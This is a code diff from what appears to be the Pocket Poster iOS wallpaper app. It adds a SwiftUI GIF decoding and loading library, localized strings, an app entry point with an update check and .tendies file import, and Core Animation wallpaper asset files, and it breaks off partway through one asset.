GIFImage(url: gifURL, placeholder: placeholder, errorImage: error)
|
||||
}
|
||||
#Preview("Limited 5 FPS") {
|
||||
GIFImage(url: gifURL, placeholder: placeholder, errorImage: error, frameRate: .limited(fps: 5))
|
||||
}
|
||||
#Preview("Limited to 30 FPS") {
|
||||
GIFImage(url: gifURL, placeholder: placeholder, errorImage: error, frameRate: .static(fps: 30))
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
//
|
||||
// File.swift
|
||||
//
|
||||
//
|
||||
// Created by Igor Ferreira on 05/04/2022.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import ImageIO
|
||||
|
||||
public actor CGImageSourceFrameSequence: AsyncSequence {
|
||||
public typealias Element = ImageFrame
|
||||
|
||||
public enum LoadError: Error {
|
||||
case invalidData
|
||||
case emptyData
|
||||
}
|
||||
|
||||
public let source: CGImageSource
|
||||
|
||||
public init(data: Data) throws {
|
||||
guard let source = CGImageSourceCreateWithData(data as CFData, nil) else {
|
||||
throw LoadError.invalidData
|
||||
}
|
||||
|
||||
switch CGImageSourceGetStatus(source) {
|
||||
case .statusComplete: break
|
||||
case .statusReadingHeader: break
|
||||
case .statusIncomplete: throw LoadError.emptyData
|
||||
case .statusInvalidData: throw LoadError.invalidData
|
||||
case .statusUnexpectedEOF: throw LoadError.invalidData
|
||||
case .statusUnknownType: throw LoadError.invalidData
|
||||
@unknown default: throw LoadError.invalidData
|
||||
}
|
||||
|
||||
self.init(source: source)
|
||||
}
|
||||
|
||||
public init(source: CGImageSource) {
|
||||
self.source = source
|
||||
}
|
||||
|
||||
nonisolated public func makeAsyncIterator() -> CGImageSourceIterator {
|
||||
CGImageSourceIterator(source: source)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
//
|
||||
// File.swift
|
||||
//
|
||||
//
|
||||
// Created by Igor Ferreira on 05/04/2022.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import ImageIO
|
||||
|
||||
public actor CGImageSourceIterator: AsyncIteratorProtocol {
|
||||
|
||||
public let frameCount: Int
|
||||
public let source: CGImageSource
|
||||
public private(set) var currentFrame: Int
|
||||
|
||||
public init(source: CGImageSource) {
|
||||
self.source = source
|
||||
self.frameCount = CGImageSourceGetCount(source)
|
||||
self.currentFrame = 0
|
||||
}
|
||||
|
||||
public func next() async throws -> ImageFrame? {
|
||||
guard currentFrame < frameCount else {
|
||||
return nil
|
||||
}
|
||||
|
||||
let frame: ImageFrame? = if let image = CGImageSourceCreateImageAtIndex(source, currentFrame, nil) {
|
||||
ImageFrame(image: image, interval: source.intervalAtIndex(currentFrame))
|
||||
} else {
|
||||
nil
|
||||
}
|
||||
currentFrame += 1
|
||||
return frame
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
//
|
||||
// File.swift
|
||||
//
|
||||
//
|
||||
// Created by Igor Ferreira on 05/04/2022.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
/// Object responsible to load a `GIFSource` into a `ImageFrame` stream.
|
||||
public struct ImageLoader {
|
||||
public let session: URLSession
|
||||
public let cache: URLCache
|
||||
public let fileManager: FileManager
|
||||
|
||||
public init(session: URLSession = .shared, cache: URLCache = .shared, fileManager: FileManager = .default) {
|
||||
self.session = session
|
||||
self.cache = cache
|
||||
self.fileManager = fileManager
|
||||
}
|
||||
|
||||
public func load(source: GIFSource) async throws -> CGImageSourceFrameSequence {
|
||||
let data = try await source.loadData(session: session, cache: cache, fileManager: fileManager)
|
||||
return try data.imageAsyncSequence()
|
||||
}
|
||||
}
|
||||
|
||||
private extension GIFSource {
|
||||
func loadData(session: URLSession, cache: URLCache, fileManager: FileManager) async throws -> Data {
|
||||
switch self {
|
||||
case let .static(data): data
|
||||
case .remote(let url), .remoteURL(let url): try await url.loadData(session: session, cache: cache)
|
||||
case let .remoteRequest(request): try await request.loadData(session: session, cache: cache)
|
||||
case let .local(filePath): try await filePath.loadData(fileManager: fileManager)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private extension String {
|
||||
func loadData(fileManager: FileManager) async throws -> Data {
|
||||
guard fileManager.fileExists(atPath: self) else {
|
||||
throw URLError(.fileDoesNotExist)
|
||||
}
|
||||
guard let data = fileManager.contents(atPath: self) else {
|
||||
throw URLError(.cannotOpenFile)
|
||||
}
|
||||
return data
|
||||
}
|
||||
}
|
||||
|
||||
private extension URL {
|
||||
func loadData(session: URLSession, cache: URLCache) async throws -> Data {
|
||||
let request = URLRequest(url: self)
|
||||
return try await request.loadData(session: session, cache: cache)
|
||||
}
|
||||
}
|
||||
|
||||
private extension URLRequest {
|
||||
func loadData(session: URLSession, cache: URLCache) async throws -> Data {
|
||||
if let cache = cache.cachedResponse(for: self) {
|
||||
return cache.data
|
||||
}
|
||||
|
||||
let (data, response) = try await session.data(for: self)
|
||||
guard let httpResponse = response as? HTTPURLResponse else {
|
||||
throw URLError(.badServerResponse)
|
||||
}
|
||||
guard httpResponse.isSuccess else {
|
||||
throw URLError(.init(rawValue: httpResponse.statusCode))
|
||||
}
|
||||
cache.storeCachedResponse(CachedURLResponse(response: response, data: data), for: self)
|
||||
return data
|
||||
}
|
||||
}
|
||||
|
||||
private extension HTTPURLResponse {
|
||||
var isSuccess: Bool {
|
||||
200..<300 ~= statusCode
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
//
|
||||
// File.swift
|
||||
//
|
||||
//
|
||||
// Created by Igor Ferreira on 9/9/22.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
|
||||
private let kDefaultGIFFrameInterval: TimeInterval = 1.0 / 24.0
|
||||
|
||||
struct PresentationController {
|
||||
let source: GIFSource
|
||||
let frameRate: FrameRate
|
||||
let action: (GIFSource) async throws -> Void
|
||||
@Binding var animate: Bool
|
||||
@Binding var loop: Bool
|
||||
|
||||
init(
|
||||
source: GIFSource,
|
||||
frameRate: FrameRate,
|
||||
animate: Binding<Bool>,
|
||||
loop: Binding<Bool>,
|
||||
action: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||
) {
|
||||
self.source = source
|
||||
self.action = action
|
||||
self.frameRate = frameRate
|
||||
self._animate = animate
|
||||
self._loop = loop
|
||||
}
|
||||
|
||||
func start(imageLoader: ImageLoader, fallbackImage: RawImage, frameUpdate: (RawImage) async -> Void) async {
|
||||
do {
|
||||
repeat {
|
||||
for try await imageFrame in try await imageLoader.load(source: source) {
|
||||
try await update(imageFrame, frameUpdate: frameUpdate)
|
||||
if !animate { break }
|
||||
}
|
||||
try await action(source)
|
||||
} while(self.loop && self.animate)
|
||||
} catch {
|
||||
if !(error is CancellationError) {
|
||||
await frameUpdate(fallbackImage)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private func update(_ imageFrame: ImageFrame, frameUpdate: (RawImage) async -> Void) async throws {
|
||||
await frameUpdate(RawImage.create(with: imageFrame.image))
|
||||
let calculatedInterval = imageFrame.interval ?? kDefaultGIFFrameInterval
|
||||
let interval: Double
|
||||
switch frameRate {
|
||||
case .static(let fps):
|
||||
interval = (1.0 / Double(fps))
|
||||
case .limited(let fps):
|
||||
let intervalLimit = (1.0 / Double(fps))
|
||||
interval = max(calculatedInterval, intervalLimit)
|
||||
case .dynamic:
|
||||
interval = imageFrame.interval ?? kDefaultGIFFrameInterval
|
||||
}
|
||||
try await Task.sleep(nanoseconds: UInt64(interval * 1_000_000_000.0))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
//
|
||||
// File.swift
|
||||
//
|
||||
//
|
||||
// Created by Igor Ferreira on 05/04/2022.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import ImageIO
|
||||
|
||||
extension CFString {
|
||||
var asKey: UnsafeMutableRawPointer {
|
||||
return Unmanaged.passUnretained(self).toOpaque()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
//
|
||||
// File.swift
|
||||
//
|
||||
//
|
||||
// Created by Igor Ferreira on 05/04/2022.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import ImageIO
|
||||
|
||||
extension CGImageSource {
|
||||
func intervalAtIndex(_ index: Int) -> TimeInterval? {
|
||||
guard let properties = CGImageSourceCopyPropertiesAtIndex(self, index, nil) else {
|
||||
return nil
|
||||
}
|
||||
|
||||
guard let gifProperties = CFDictionaryGetValue(properties, kCGImagePropertyGIFDictionary.asKey) else {
|
||||
return nil
|
||||
}
|
||||
|
||||
let dictionary = unsafeBitCast(gifProperties, to: CFDictionary.self)
|
||||
|
||||
let pointer: UnsafeRawPointer
|
||||
if let delay = CFDictionaryGetValue(dictionary, kCGImagePropertyGIFDelayTime.asKey) {
|
||||
pointer = delay
|
||||
} else if let unclampedDelay = CFDictionaryGetValue(dictionary, kCGImagePropertyGIFUnclampedDelayTime.asKey) {
|
||||
pointer = unclampedDelay
|
||||
} else {
|
||||
return nil
|
||||
}
|
||||
|
||||
let interval = unsafeBitCast(pointer, to: AnyObject.self).doubleValue ?? 0.0
|
||||
if interval > 0.0 {
|
||||
return interval
|
||||
} else {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
//
|
||||
// File.swift
|
||||
//
|
||||
//
|
||||
// Created by Igor Ferreira on 05/04/2022.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import ImageIO
|
||||
|
||||
extension Data {
|
||||
func imageAsyncSequence() throws -> CGImageSourceFrameSequence {
|
||||
return try CGImageSourceFrameSequence(data: self)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
//
|
||||
// File.swift
|
||||
//
|
||||
//
|
||||
// Created by Igor Ferreira on 05/04/2022.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct GIFImageEnvironment: EnvironmentKey {
|
||||
static var defaultValue: ImageLoader = {
|
||||
return ImageLoader()
|
||||
}()
|
||||
}
|
||||
|
||||
extension EnvironmentValues {
|
||||
var imageLoader: ImageLoader {
|
||||
get { self[GIFImageEnvironment.self] }
|
||||
set { self[GIFImageEnvironment.self] = newValue }
|
||||
}
|
||||
}
|
||||
|
||||
extension View {
|
||||
@ViewBuilder
|
||||
func with(imageLoader: ImageLoader) -> some View {
|
||||
environment(\.imageLoader, imageLoader)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
//
|
||||
// File.swift
|
||||
//
|
||||
//
|
||||
// Created by Igor Ferreira on 06/04/2022.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
public enum FrameRate {
|
||||
case dynamic
|
||||
case limited(fps: Int)
|
||||
case `static`(fps: Int)
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
//
|
||||
// File.swift
|
||||
//
|
||||
//
|
||||
// Created by Igor Ferreira on 29/10/2020.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
public enum GIFSource: Equatable {
|
||||
@available(*, deprecated, renamed: "remoteURL(_:)")
|
||||
case remote(url: URL)
|
||||
case remoteURL(_ url: URL)
|
||||
case remoteRequest(_ request: URLRequest)
|
||||
case local(filePath: String)
|
||||
case `static`(data: Data)
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
//
|
||||
// File.swift
|
||||
//
|
||||
//
|
||||
// Created by Igor Ferreira on 29/10/2020.
|
||||
//
|
||||
|
||||
import ImageIO
|
||||
import Foundation
|
||||
|
||||
public struct ImageFrame {
|
||||
public let image: CGImage
|
||||
public let interval: TimeInterval?
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
//
|
||||
// File.swift
|
||||
//
|
||||
//
|
||||
// Created by Igor Ferreira on 05/04/2022.
|
||||
//
|
||||
|
||||
import ImageIO
|
||||
import SwiftUI
|
||||
#if os(macOS)
|
||||
import AppKit
|
||||
public typealias RawImage = NSImage
|
||||
#else
|
||||
import UIKit
|
||||
public typealias RawImage = UIImage
|
||||
#endif
|
||||
|
||||
public extension RawImage {
|
||||
static func create(with cgImage: CGImage) -> RawImage {
|
||||
#if os(macOS)
|
||||
return RawImage(cgImage: cgImage, size: NSSize(width: cgImage.width, height: cgImage.height))
|
||||
#else
|
||||
return RawImage(cgImage: cgImage)
|
||||
#endif
|
||||
}
|
||||
|
||||
static func create(symbol: String) -> RawImage? {
|
||||
#if os(macOS)
|
||||
return RawImage(systemSymbolName: symbol, accessibilityDescription: nil)
|
||||
#else
|
||||
return RawImage(systemName: symbol)
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
public extension Image {
|
||||
static func loadImage(with image: RawImage) -> Image {
|
||||
#if os(macOS)
|
||||
return Image(nsImage: image)
|
||||
#else
|
||||
return Image(uiImage: image)
|
||||
#endif
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,322 @@
|
||||
{
|
||||
"sourceLanguage" : "en",
|
||||
"strings" : {
|
||||
"CFBundleName" : {
|
||||
"comment" : "Bundle name",
|
||||
"extractionState" : "extracted_with_value",
|
||||
"localizations" : {
|
||||
"ar" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"ar-AE" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster Ar"
|
||||
}
|
||||
},
|
||||
"ar-SA" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"bg" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"cs" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"de" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"en" : {
|
||||
"stringUnit" : {
|
||||
"state" : "new",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"es" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"es-MX" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"fr" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"fr-BE" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"fr-CA" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"fr-CH" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"fr-LU" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"hu" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"it" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"ja" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"ko" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"nl" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"pl" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"ru" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"th" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"tr" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"vi" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"zh-CN" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
},
|
||||
"zh-Hant" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Pocket Poster"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"Nugget Wallpaper" : {
|
||||
"localizations" : {
|
||||
"ar" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "خلفيات Nugget"
|
||||
}
|
||||
},
|
||||
"ar-AE" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "خلفيات Nugget"
|
||||
}
|
||||
},
|
||||
"ar-SA" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "خلفيات Nugget"
|
||||
}
|
||||
},
|
||||
"bg" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Nugget Wallpaper"
|
||||
}
|
||||
},
|
||||
"cs" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Nugget Tapeta"
|
||||
}
|
||||
},
|
||||
"de" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Nugget Hintergrundbilder"
|
||||
}
|
||||
},
|
||||
"es" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Nugget Wallpaper"
|
||||
}
|
||||
},
|
||||
"es-MX" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Nugget Wallpaper"
|
||||
}
|
||||
},
|
||||
"fr" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Fond d'écran Nugget"
|
||||
}
|
||||
},
|
||||
"fr-BE" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Fond écran nugget"
|
||||
}
|
||||
},
|
||||
"fr-CA" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Fond d'écran Nugget"
|
||||
}
|
||||
},
|
||||
"fr-CH" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Nugget Wallpaper"
|
||||
}
|
||||
},
|
||||
"fr-LU" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Nugget Wallpaper"
|
||||
}
|
||||
},
|
||||
"hu" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Nugget Háttérkép"
|
||||
}
|
||||
},
|
||||
"it" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Sfondo di Nugget"
|
||||
}
|
||||
},
|
||||
"ja" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Nugget Wallpaper"
|
||||
}
|
||||
},
|
||||
"ko" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Nugget 배경화면"
|
||||
}
|
||||
},
|
||||
"nl" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Nugget Achtergrond"
|
||||
}
|
||||
},
|
||||
"pl" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Tapeta Nugget"
|
||||
}
|
||||
},
|
||||
"ru" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Обои Nugget"
|
||||
}
|
||||
},
|
||||
"th" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "วอลเปเปอร์ Nugget"
|
||||
}
|
||||
},
|
||||
"tr" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Nugget Duvar Kağıdı"
|
||||
}
|
||||
},
|
||||
"vi" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Hình nền Nugget"
|
||||
}
|
||||
},
|
||||
"zh-CN" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Nugget 墙纸"
|
||||
}
|
||||
},
|
||||
"zh-Hant" : {
|
||||
"stringUnit" : {
|
||||
"state" : "translated",
|
||||
"value" : "Nugget 壁紙"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"version" : "1.0"
|
||||
}
|
||||
@@ -10,63 +10,70 @@ import SwiftUI
|
||||
@main
|
||||
struct Pocket_PosterApp: App {
|
||||
// Prefs
|
||||
@ObservedObject var dlManager = DownloadManager.shared
|
||||
|
||||
@AppStorage("finishedTutorial") var finishedTutorial: Bool = false
|
||||
@AppStorage("pbHash") var pbHash: String = ""
|
||||
|
||||
@State var selectedTendies: [URL] = []
|
||||
|
||||
@State var downloadURL: String? = nil
|
||||
@State var showDownloadAlert = false
|
||||
@State var checkedForUpdate: Bool = false
|
||||
|
||||
var body: some Scene {
|
||||
WindowGroup {
|
||||
Group {
|
||||
if finishedTutorial {
|
||||
ContentView(selectedTendies: $selectedTendies)
|
||||
RootView()
|
||||
} else {
|
||||
OnBoardingView(cards: onBoardingCards, isFinished: $finishedTutorial)
|
||||
}
|
||||
}
|
||||
.transition(.opacity)
|
||||
.animation(.easeOut(duration: 0.5), value: finishedTutorial)
|
||||
.alert("Download Tendies File", isPresented: $showDownloadAlert) {
|
||||
Button("OK") {
|
||||
downloadWallpaper()
|
||||
.onAppear {
|
||||
// check for update
|
||||
if !checkedForUpdate {
|
||||
checkedForUpdate = true
|
||||
if let version = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String, let url = URL(string: "https://api.github.com/repos/leminlimez/Pocket-Poster/releases/latest") {
|
||||
let task = URLSession.shared.dataTask(with: url) {(data, response, error) in
|
||||
guard let data = data else { return }
|
||||
|
||||
if let json = try? JSONSerialization.jsonObject(with: data, options: .mutableContainers) as? [String: Any] {
|
||||
if (json["tag_name"] as? String)?.replacingOccurrences(of: "v", with: "").compare(version, options: .numeric) == .orderedDescending {
|
||||
UIApplication.shared.confirmAlert(
|
||||
title: NSLocalizedString("Update Available", comment: "app update available on GitHub"),
|
||||
body: String(format: NSLocalizedString("Pocket Poster %@ is available, do you want to visit releases page?", comment: "app update available on GitHub"), json["tag_name"] as? String ?? "update"),
|
||||
onOK: {
|
||||
UIApplication.shared.open(URL(string: "https://github.com/leminlimez/Pocket-Poster/releases/latest")!)
|
||||
}, noCancel: false)
|
||||
}
|
||||
}
|
||||
}
|
||||
task.resume()
|
||||
}
|
||||
}
|
||||
Button("Cancel", role: .cancel) {}
|
||||
} message: {
|
||||
Text("Would you like to download the file \(DownloadManager.getWallpaperNameFromURL(string: downloadURL ?? "/Unknown"))?")
|
||||
}
|
||||
.onOpenURL(perform: { url in
|
||||
// Download URL
|
||||
if url.absoluteString.starts(with: "pocketposter://download") {
|
||||
// prohibit to only tendies files
|
||||
if !url.absoluteString.hasSuffix(".tendies") {
|
||||
UIApplication.shared.alert(body: "Only .tendies files can be downloaded!")
|
||||
} else if selectedTendies.count >= PosterBoardManager.MaxTendies {
|
||||
UIApplication.shared.alert(title: "Max Tendies Reached", body: "You can only apply \(PosterBoardManager.MaxTendies) descriptors.")
|
||||
} else {
|
||||
downloadURL = url.absoluteString.replacingOccurrences(of: "pocketposter://download?url=", with: "")
|
||||
showDownloadAlert = true
|
||||
}
|
||||
dlManager.startTendiesDownload(for: url)
|
||||
}
|
||||
// App Hash URL
|
||||
else if url.absoluteString.starts(with: "pocketposter://app-hash?uuid=") {
|
||||
pbHash = url.absoluteString.replacingOccurrences(of: "pocketposter://app-hash?uuid=", with: "")
|
||||
}
|
||||
else if url.pathExtension == "tendies" {
|
||||
if selectedTendies.count >= PosterBoardManager.MaxTendies {
|
||||
UIApplication.shared.alert(title: "Max Tendies Reached", body: "You can only apply \(PosterBoardManager.MaxTendies) descriptors.")
|
||||
if PosterBoardManager.shared.selectedTendies.count >= PosterBoardManager.MaxTendies {
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Max Tendies Reached", comment: ""), body: String(format: NSLocalizedString("You can only apply %@ descriptors.", comment: ""), "\(PosterBoardManager.MaxTendies)"))
|
||||
} else {
|
||||
// copy it over to the KFC bucket
|
||||
do {
|
||||
let newURL = try DownloadManager.copyTendies(from: url)
|
||||
selectedTendies.append(newURL)
|
||||
let newURL = try DownloadManager.shared.copyTendies(from: url)
|
||||
PosterBoardManager.shared.selectedTendies.append(newURL)
|
||||
Haptic.shared.notify(.success)
|
||||
UIApplication.shared.alert(title: "Successfully imported \(url.lastPathComponent)", body: "")
|
||||
UIApplication.shared.alert(title: String(format: NSLocalizedString("Successfully imported %@", comment: ""), "\(url.lastPathComponent)"), body: "")
|
||||
} catch {
|
||||
Haptic.shared.notify(.error)
|
||||
UIApplication.shared.alert(title: "Failed to import tendies", body: error.localizedDescription)
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Failed to import tendies", comment: ""), body: error.localizedDescription)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -74,21 +81,8 @@ struct Pocket_PosterApp: App {
|
||||
}
|
||||
}
|
||||
|
||||
func downloadWallpaper() {
|
||||
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Downloading", comment: "") + " \(DownloadManager.getWallpaperNameFromURL(string: downloadURL ?? "/Unknown"))...", body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
|
||||
|
||||
Task {
|
||||
do {
|
||||
let newURL = try await DownloadManager.downloadFromURL(string: downloadURL!)
|
||||
selectedTendies.append(newURL)
|
||||
Haptic.shared.notify(.success)
|
||||
UIApplication.shared.dismissAlert(animated: true)
|
||||
} catch {
|
||||
Haptic.shared.notify(.error)
|
||||
UIApplication.shared.dismissAlert(animated: true)
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Could not download wallpaper!", comment: ""), body: error.localizedDescription)
|
||||
}
|
||||
}
|
||||
init() {
|
||||
// clear the videos cache
|
||||
try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent("Videos", conformingTo: .directory))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
9183
|
||||
@@ -0,0 +1 @@
|
||||
PRPosterRoleLockScreen
|
||||
Binary file not shown.
+58
@@ -0,0 +1,58 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>assetManifest</key>
|
||||
<string>assetManifest.caml</string>
|
||||
<key>documentHeight</key>
|
||||
<real>3176</real>
|
||||
<key>documentResizesToView</key>
|
||||
<false/>
|
||||
<key>documentWidth</key>
|
||||
<real>3176</real>
|
||||
<key>dynamicGuidesEnabled</key>
|
||||
<true/>
|
||||
<key>geometryFlipped</key>
|
||||
<false/>
|
||||
<key>guidesEnabled</key>
|
||||
<true/>
|
||||
<key>interactiveMouseEventsEnabled</key>
|
||||
<true/>
|
||||
<key>interactiveShowsCursor</key>
|
||||
<true/>
|
||||
<key>interactiveTouchEventsEnabled</key>
|
||||
<false/>
|
||||
<key>loopEnd</key>
|
||||
<real>0.0</real>
|
||||
<key>loopStart</key>
|
||||
<real>0.0</real>
|
||||
<key>loopingEnabled</key>
|
||||
<false/>
|
||||
<key>multitouchDisablesMouse</key>
|
||||
<false/>
|
||||
<key>multitouchEnabled</key>
|
||||
<false/>
|
||||
<key>presentationMouseEventsEnabled</key>
|
||||
<true/>
|
||||
<key>presentationShowsCursor</key>
|
||||
<true/>
|
||||
<key>presentationTouchEventsEnabled</key>
|
||||
<false/>
|
||||
<key>rootDocument</key>
|
||||
<string>main.caml</string>
|
||||
<key>savesWindowFrame</key>
|
||||
<false/>
|
||||
<key>scalesToFitInPlayer</key>
|
||||
<false/>
|
||||
<key>showsTouches</key>
|
||||
<true/>
|
||||
<key>snappingEnabled</key>
|
||||
<true/>
|
||||
<key>timelineMarkers</key>
|
||||
<string>[(null)]</string>
|
||||
<key>touchesColor</key>
|
||||
<string>1 1 0 0.8</string>
|
||||
<key>unitsInPixelsInPlayer</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
+40
@@ -0,0 +1,40 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<caml xmlns="http://www.apple.com/CoreAnimation/1.0">
|
||||
<CALayer allowsEdgeAntialiasing="1" allowsGroupOpacity="1" bounds="0 0 3176 3176" contentsFormat="RGBA8" cornerCurve="circular" hidden="0" name="_BACKGROUND" position="1588 1588">
|
||||
<sublayers>
|
||||
<CALayer allowsEdgeAntialiasing="1" allowsGroupOpacity="1" anchorPoint="0 0" bounds="0 0 0 0" contentsFormat="RGBA8" cornerCurve="circular" name="_CENTER_BACKGROUND" position="1588 1588"/>
|
||||
</sublayers>
|
||||
<states>
|
||||
<LKState name="Locked">
|
||||
<elements/>
|
||||
</LKState>
|
||||
<LKState name="Unlock">
|
||||
<elements/>
|
||||
</LKState>
|
||||
<LKState name="Sleep">
|
||||
